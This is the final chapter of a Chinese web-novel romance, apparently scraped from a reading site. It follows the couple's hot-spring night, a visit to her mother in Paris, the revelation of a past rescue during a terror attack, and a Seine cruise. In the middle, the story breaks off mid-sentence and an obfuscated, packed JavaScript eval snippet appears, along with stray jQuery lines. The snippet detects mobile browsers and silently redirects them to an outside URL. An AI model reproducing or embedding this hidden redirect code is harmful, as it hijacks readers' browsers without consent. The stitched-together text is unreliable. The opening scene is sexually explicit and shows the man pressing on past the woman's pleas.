60. [锁] [此章节已锁]

作品:《越轨图谋

    阮倾雪思绪泛滥的领域被填满充盈,胀到发酸。


    绵密的吻落在她耳侧,混合着微沉的气息声。


    “你怎么了?”


    男人身上温度滚烫,仿佛能将泉水熏蒸得更热一些,“我爱你。”


    阮倾雪眼睫轻颤,被水和他体温烫过的地方都开始升温泛红,盘起的碎发沾湿鬓角。


    她不会哄人。


    但她发现自己拒绝不了他。


    阮倾雪青涩地想触碰他。


    指尖碰到他胸口,又瑟缩着蜷起,下一瞬手腕被握住,引导她紧贴上移顺着他胸口到肩臂。


    与此同时,落在她身上的吻又重了几分。


    阮倾雪轻轻蹙眉,有些说不出话。


    怕张嘴就是不堪入耳的声音。


    她下意识环住他的脖子。


    祁野是常年上位统筹全局的掌舵人,极其擅长剖析她任何细微举动的意图,轻而易举地点燃,吻掉她下颚线水珠,咬上她沾湿的唇,研磨着撬开,教她,“回应我。”


    阮倾雪笨拙地动了一下,就被卷进无穷无尽的疾风骤雨中。


    温热汤池之中,有水流震荡的声音和混迹其中的轻声低喃。


    细听能听到男人喑哑的引导,“打开……”


    “酥酥好乖。”


    祁野是一个很有耐心的猎手,他不介意教她怎么爱他。


    温泉熏蒸容易缺氧,的确是个不太清醒的地方。


    阮倾雪觉得自己仿佛被海浪潮汐一遍遍侵袭的海螺,思绪都轻飘飘地被拍打,被冲刷,震荡。


    潮汐汹涌层层叠叠,毫无喘息的余地。


    她完全不听自己使唤,被人操控着感官。


    连哭泣都失去控制。


    她挣扎踩空踩在水面上,飞溅出大片大片的水花。


    浸透了外面的地毯。


    阮倾雪觉得她也要被浸透了。


    连灵魂都湿漉漉的被标记上了某个男人的气息,擦都擦不干净。


    如果是往常,祁野会安慰她。


    这一次他疯狂到连装都装不出来,眼底猩红,追着她妄想躲避的腰身,直到她快爬上岸才牢牢压住她,告诉她,“我还没被哄好。”


    阮倾雪眼前灯晃出了残影,大脑一片空白。


    她这才知道,在某种极致的状态下。


    连话都说不出来。


    能出声的时候,阮倾雪才求他,“九叔……好了。”


    祁野笼在她身上,“叫我祁野。”


    她颤着声,“祁野……”


    祁野身形压低,“叫老公。”


    阮倾雪噤声,叫不出口。


    祁野眉梢微扬,“那我好不了了。”


    阮倾雪骨子里还是个被娇惯长大的小千金。


    她觉得自己被欺负了,啜泣着控诉,“我不就多看了他两眼吗。”


    祁野本就压在心头的闷火,被点了出来。


    只是多看了两眼而已,但她从来没有那样看过自己,“这个时候还要提他……”


    他嗓音温柔得吓人,带着股狠劲,“那我们今晚不睡了宝宝。”


    阮倾雪觉得,这一晚是她前半生度过的最漫长的一晚。


    这种事情是爱人强制给予快乐,最简单粗暴的方式,她的脑袋在跟她的身体打架,让她即便是觉得他很过分,但也发不出火。


    最后只能窝在被子里无助地哽咽,“你欺负人,我讨厌你。”


    “我要回家,我想妈妈。”


    祁野拨开她脸颊碎发。


    大概是被碰怕了,阮倾雪半梦半醒闭着眼睛都在躲他的手。


    但总归又跑不到哪里去。


    祁野声音很低,“好,带你去找妈妈就不讨厌我了好不好。”


    阮倾雪不知道他在说什么,只觉得脑袋很重。


    因为消耗过多,导致她睡了很久。


    阮倾雪再睁眼的时候,是被飞机的嗡鸣声震醒的。


    她反应了一下,慌忙爬起来,发现自己躺在祁野那架湾流上。


    而他靠在床头,指尖还勾着一缕她的长发在把玩,安静地看着她的反应。


    阮倾雪和他对视一眼,“到哪了?”


    祁野如实告知:“巴黎。”


    阮倾雪:“?”


    “昨晚你说想妈妈了,你妈妈知道应该会很高兴。”


    毕竟薄佩云一直觉得,阮倾雪不想见她。


    阮倾雪脑袋懵了一瞬,想起了点什么。


    但让她接受睁眼就在巴黎上空,还是需要点时间。


    她想起来重要的事情,连忙去摸手机,“我还没请假。”


    “我帮你请了。”祁野停顿,“婚假。”


    阮倾雪一时间,“你怎么其他时候不这么顺着我?”


    祁野明知故问,“什么时候?”


    阮倾雪语塞,哼哼唧唧地憋出一句“混蛋”,就起身下床去洗漱。


    祁野指尖的发丝被抽走,掌心空荡荡地。


    他摩挲了下指腹。


    飞机降落在机场,如祁野所说。


    薄佩云很高兴,在海关外接机。


    阮倾雪远远看见她,心下一阵不安,她拉住祁野,“你能不能先不要告诉她,我们的事情,我怕她接受不了。”


    祁野带她来巴黎,除了她说想之外,还有一个原因就是需要让她妈妈知道他们的事情。


    但在某方面,他也能理解阮倾雪的担心。


    谁都不想一来就闹不愉快,“好。”


    但他也不会一直隐瞒。


    阮倾雪还以为他会坚持。


    听他答应还很不适应。


    她看了看他。


    祁野注意到她的视线,“怎么了?”


    阮倾雪摇头,“没什么。”


    他真的是床上床下两幅面孔。


    床下包容随和,床上蛮不讲理。


    祁野知道她在想什么,但是没有戳穿。


    他们的行李有专人运送,和薄佩云见面之后,他们直接去吃饭。


    既然是专门来见她的,薄佩云安排他们住在她家里。


    他们家也是一栋小别墅,即便是住起来生活交集也不会太多。


    下了车,阮倾雪才发现祁野还带了很多礼物过来。


    还有薄佩云现任丈夫和小孩的礼物。


    她其实没想到这件事。


    但祁野口中是,“倾雪特地给你们带的。”


    让阮倾雪有点不好意思。


    算下来,阮倾雪还是第一次见到他们,的确是热情外放的性格。


    她的妹妹十来岁的年纪,见到她就抱了过来,流利的法语毫不吝啬表达自己的想法,“我想见姐姐很久很久了,姐姐比照片上还要好看。”


    他们进屋,坐在客厅里闲聊。


    阮倾雪并不擅长和陌生人聊天,好在祁野擅长。


    她只需要偶尔接一两句。


    客厅里,只有薄佩云和她看起来很安静。


    偶尔沉默的空隙间,薄佩云起身,“你们来看看,今晚想住哪间,我叫阿姨收拾。”


    祁野说着,“看您安排,我都可以。”


    薄佩云点头,“那倾雪跟我上来选吧。”


    阮倾雪答应着,跟上去。


    薄佩云走在前面,上了楼。


    二楼的客房区别都不大,“其实祁野说来的时候,我已经叫人打扫过了,你看看你喜欢哪间。”


    阮倾雪挑了一间带落地窗视野好的。


    薄佩云了然,“好。”


    她停顿了一会儿,突然问了一句,“怎么突然想来见我了?”


    阮倾雪拉窗帘的动作放慢了些,“最近工作忙完了一个周期,正好想出来玩。”


    薄佩云轻笑,“你想出来,祁野就带你出来了?”


    阮倾雪不知道该怎么接这个话,胡编乱造了一个听上去很合理的理由,“他来这里正好也有工作,我叫他带上我的。”


    薄佩云弯唇,“他带你出来,我还是放心的。”


    “你好像对他印象特别好。”阮倾雪记得上次薄佩云就在夸他。


    “当初我答应他照顾你,除了他跟你爸的关系,他的人品家世,还有一个原因。”薄佩云走到小吧台边坐下来,给她倒了一杯果汁。


    阮倾雪坐在她对面,“什么原因。”


    “你还记不记得,你十二岁的时候,出国汇演,遇到了一次恐袭。”


    薄佩云一句话,突然间将阮倾雪拽回了十几年前。


    阮倾雪轻拢了下手指握住杯子,半天还是放下,“记得。”


    那天她从剧院演出结束,和薄佩云出来吃饭。


    屋外突然响起了一阵爆炸声。


    那时候阮倾雪很少来国外,对这种事情并没有什么概念,长期在国内生活让她以为是有人在放烟花。


    直到距离他们不远处的一面玻璃墙陡然碎裂。


    屋内尖叫声此起彼伏。


    所有人都在往桌下躲藏,等她反应过来的时候,也已经被薄佩云拽到了桌下。


    但下一秒,餐厅内就发生了接二连三的爆炸。


    阮倾雪对这件事情的印象不深,只有零星的记忆,医院诊断说是创伤后失忆。


    她只记得耳朵被妈妈捂住,还是能听到震耳欲聋的声音,周围窗户玻璃碎裂,墙壁红砖接二连三的滚落,屋顶下坠重重地砸了下来。


    她被震得耳鸣眩晕,有人在哭喊尖叫。


    四周都是烟灰火药的味道,她们身上遮蔽的桌子从中间被砸断。


    有东西砸在了她的腿侧。


    短暂地昏厥过去后又被震醒。


    阮倾雪五脏六腑被震得发麻,然后是腿上的压痛感,周围的空间都被砸下来的房梁铺满,什么都看不清。


    薄佩云说,“我第一次见祁野的时候,是那天。”


    “那时候……”她想了一会儿,“他还是联合国维和部队救援分地区队长。”


    阮倾雪满眼错愕,她对此毫无印象。


    但恍惚中联想到了祁野身上的那些疤痕。


    一切都有了答案。


    “大概是他对中文比较敏感,会先找到我们的位置。”薄佩云抿唇,“救我们出来的时候,你的腿被断裂的钢筋压住,他们商量着锯开钢筋。”


    阮倾雪隐约想起来点什么。


    那个时候她并不知道自己的双腿处境有多危险,只是听到有人安抚她,是中文,“小朋友,我们可能需要清理一下这个钢筋,有动静你别害怕。”


    她答应着,迷迷糊糊地闭上眼睛。


    那个人又说话让她保持清醒,“小朋友不能睡,来醒醒。”


    “你家是哪里的,是来这里玩的吗?”


    阮倾雪当时气力很弱,“我来演出。”


    “这么厉害,”他调试工具,“什么演出?”


    “古典舞。”


    阮倾雪说完,调试工具的声音就戛然而止。


    他转头跟队员说了两句什么,是法语,她听不懂。


    薄佩云告诉她,“他说,这孩子是跳舞的,腿上不能有伤,锯开钢筋可能会让你受伤。”


    “他换成自己进去想要用工具把缝隙架高,救你出来。”


    “你出去之后,他撤离时又遇到了爆炸,手臂被钢筋刺穿。”


    阮倾雪手指发僵,“是,祁野?”


    “是他。”薄佩云垂眸,“我去医院看过他,跟他聊了两句,才知道他家也是北城的。”


    “他虽然说没伤到筋骨,不会留后遗症,但我看着怎么也得一两个月才能好。”


    信息量有些大,阮倾雪一时半会儿消化不了,“他没有告诉过我。”


    她从来没有听过这些事情,祁家所有人都把这个隐藏得很好。


    唯一有端倪的,只有祁野手臂上那道狰狞的疤痕。


    她曾经一直很好奇,那伤是怎么来的。


    可怎么也没有想到是因为她。


    “那个时候,他其实对你也没什么印象。”薄佩云知道得要多一些,“他也不会多提这件事。”


    “大概两年后,祁野要提干部的时候,突然被除名遣返。”


    “那会儿,正好是祁家出事的时候,他二哥四哥偷工减料,导致祁家背了人命。”


    “祁野也受到牵连,撤掉身份,被召回国接受调查。还挺可惜的,本来他可以成为那里最年轻的军官。”


    阮倾雪说不出话。


    这些事情,近乎颠覆了她对祁野所有的认知。


    她忽然间能够明白,为什么祁野摘了眼镜,眼睛里会藏着尖锐的攻击性和野性。


    他现在身上的一切,全部都是为了遮掩掉他的过去,遮掩掉他的本性。


    被迫接受他父亲的安排,变成一个温文尔雅、文质彬彬的商人。


    她觉得他和表面上看起来不一样的时候,实际上都是他在她面前不加掩饰的时候。


    所以他当时回国之后,手段才会那么狠,那么不留情面。


    他其实恨他们,恨那些毁了他未来的人。


    他用正当手段,也毁了他们。


    薄佩云看阮倾雪还在愣神,拍了拍阮倾雪的手,“不过也过去很多年了,从某种程度上讲,他现在肯定比过去要安定,没那么危险。”


    “时候不早了,早点休息,不用下去了,他们不会介意的。”


    阮倾雪看着薄佩云离开。


    又在原地坐了很久,她心绪始终无法安宁。


    心跳声隆隆作响。


    她听到屋外大家各自回到房间时,才摸出手机问祁野在哪个房间。


    祁野没告诉她,地方不合适。


    这毕竟是她妈妈家。


    阮倾雪怎么也问不到。


    平时也不见祁野这么有原则。


    但


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14019424|137162||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    她可以去问阿姨。


    凌晨12点,夜深人静时,阮倾雪抱着枕头给祁野发消息说她在门口。


    祁野不得不给小祖宗开门,站在门口看阮倾雪进来。


    “怎么了?”


    阮倾雪不太确定从前的事祁野愿意提起,于是找了个合理的借口,“我睡不着。”


    她在飞机上睡了一天,还有时差,确实睡不着。


    祁野看着她把枕头扔在床上,自己挑了个合适的位置钻了进去,然后靠在床头看他。


    视线相触时,阮倾雪拍了拍身边的位置,“过来,给我讲故事。”


    祁野眉梢微扬。


    他走到床边,距离缩短,阮倾雪就感觉到他身上带着的压迫感。


    “想听什么?”祁野语调拖长,按照她的示意上床。


    阮倾雪看着他,“讲你第一次见我。”


    祁野是很敏锐的人,他听出来异常,轻笑一声,把身边人塞进了被子里,连同她漏在外面的手。


    “叔叔不是变态,第一次见你,你还是个小孩,讲不出故事。”


    祁野塞着她身上的被子看她,“你妈跟你说什么了?”


    阮倾雪敛眸,“说了你没告诉过我的事。”


    “不告诉你,是因为那些不是什么好事。”祁野听说,她得了创伤后应激,有失忆现象,不觉得她爱听这种事,所以没有说的必要,“除了这个,还想听什么?”


    阮倾雪剥开他的睡衣袖子,果然看到了那道蜿蜒深刻的疤痕。


    她轻轻摸了摸。


    这道疤如果不是出现在祁野手臂上,那可能是出现在她的腿上。


    “没什么了。”阮倾雪沉吟片刻,“谢谢你。”


    祁野把袖子拉下来,怕她会觉得愧疚,“不要瞎想,不是什么重伤,而且那时候换了别人我也会这样。”


    阮倾雪扬眉,“那换了别人我也谢。”


    祁野好整以暇地看着她。


    俯身压住她的被角,轻碰她的唇,“那还是谢我能让我高兴点。”


    浅尝辄止,不敢深入。


    到底是地方不合适,也不是他的地界。


    清早,阮倾雪睡得沉,祁野先起了床。


    下楼碰到准备去上班的薄佩云。


    薄佩云正在跟阿姨叮嘱早饭,看他出来还有些惊讶,“这么早。”


    “我还想着,你们昨天飞过来需要多休息倒时差,没打算叫你们。”


    “休息好了吗?”


    “挺好的。”祁野看向薄佩云,“不过,我是有一件事,需要和您坦白。”


    薄佩云闻言,先叫身边的阿姨离开,转头叫祁野去餐厅,“有些事情,其实我知道。”


    “毕竟作为国恒的合伙人,小道消息还是听了一些的。”薄佩云坐在餐桌对面,示意祁野坐下,“不过我只是不知道,你跟谁结婚。”


    “昨天你们过来看我,我也就知道了。”


    “很抱歉,没有提前跟您说。”


    “猜到这个并不难,”薄佩云转了一下手里的咖啡杯,“我想如果是酥酥的决定,她不问我,那我就应该尊重。我也没什么资格干涉她的决定。”


    “酥酥看起来是个软绵绵的小姑娘,其实有主见也有脾气。”


    祁野不置可否,“有本事的小姑娘都有脾气。”


    “我跟她爸从小是不敢说她惹她的,要是真有不高兴的时候,辛苦你多哄着点她,她也好说话。”


    “另外,既然都说到这一步了,那藏着掖着也不合适,”薄佩云坦诚讲,“我对你本人没什么意见,但是我并不满意你的家庭环境。”


    “我希望酥酥能过简单的生活,你们家里的事情还是少影响她。”


    “如果有问题,我也不是不会回国帮她处理。”


    祁野完全接受薄佩云提出的任何要求。


    阮倾雪睡醒的时候,快到中午。


    上学的上学,上班的上班,家里只有他们两个人。


    阮倾雪还庆幸没有人发现她跑到祁野这里睡觉,挑选着中午去哪个餐厅吃饭。


    到底是休假,这一切都比出差要轻松很多。


    傍晚,阮倾雪站在游轮上吹风。


    游轮犹如一座移动的欧洲水上皇宫,中庭俯瞰各层赌-场、棋牌室、酒吧、餐厅、舞池、泳池以及数间高奢客房和套间。


    他们这一层被祁野包了下来,还算是清静。


    阮倾雪靠在甲板上,看着塞纳河边岸灯火璀璨的光影。


    时不时有楼下的喧闹声传来。


    祁野看着她单薄的背影,走上前,给她披了一件披风,“你妈妈知道了。”


    “知道了?”阮倾雪惊讶看他,“她说什么?”


    祁野总结了一下,“祝福。”


    阮倾雪狐疑道,“只有这个吗,她难道没有觉得你威胁我很过分。”


    “可我看你还挺喜欢的,大概她也了解你口是心非。”


    阮倾雪只看着波光粼粼的湖面,轻眨了下眼睛。


    然后很快转移了话题,“所以你真的在牛津上过学吗?”


    “上过,我是少年班联合培养的飞行器设计工程,履历是真的,只不过删掉了一些。”


    阮倾雪想来觉得遗憾,“我那两天去集团,听到了一些合作。你跟安东叔合作,是给地区提供救援飞行设备吗?”


    祁野沉默了片刻,“嗯。”


    阮倾雪抿唇,能感觉到他还是想做老本行。


    只是他自己已经没有资格了。


    阮倾雪长长吐出一口气。


    她完全可以理解他的处境。


    因为别人的原因放弃自己的未来,就像是当年大伯一家威胁她放弃跳舞。


    如果他没有带她回家,她应该会和他现在差不多。


    她也不知道怎么安慰他,“好在,你现在能用其他方式参与,而且不会受伤。”


    祁野弯唇,“我没那么遗憾,回家有回家的好处。”


    阮倾雪漫无目的地说着,“你如果没有回家,应该也不会带我回家。”


    祁野看她,“如果你希望我回来,那我回来就有意义。”


    阮倾雪笑了,深吸一口气看向不远处水面,“祁野,你在哪都是有意义的。”


    她转过身,像一只骄傲的小猫,“当然,我也是。”


    塞纳河畔夜晚焰火从不远处攀上天际,烟花散落在河畔周围。


    祁野看见她眼底的璀璨光芒。


    走向她是一件自然而然的事情,爱她也是。


    大概看到她总能想到他夭折的梦,在以另一种方式延续。


    没有人会不爱她丰富充盈的灵魂,炽热璀璨的人生,祁野尤甚。


    爱与和平在硝烟下诞生,在文明思潮中灿烂盛大。


    此后他旷野般乏善可陈的人生,总能开出令他魂牵梦萦的白山茶。


    -正文完-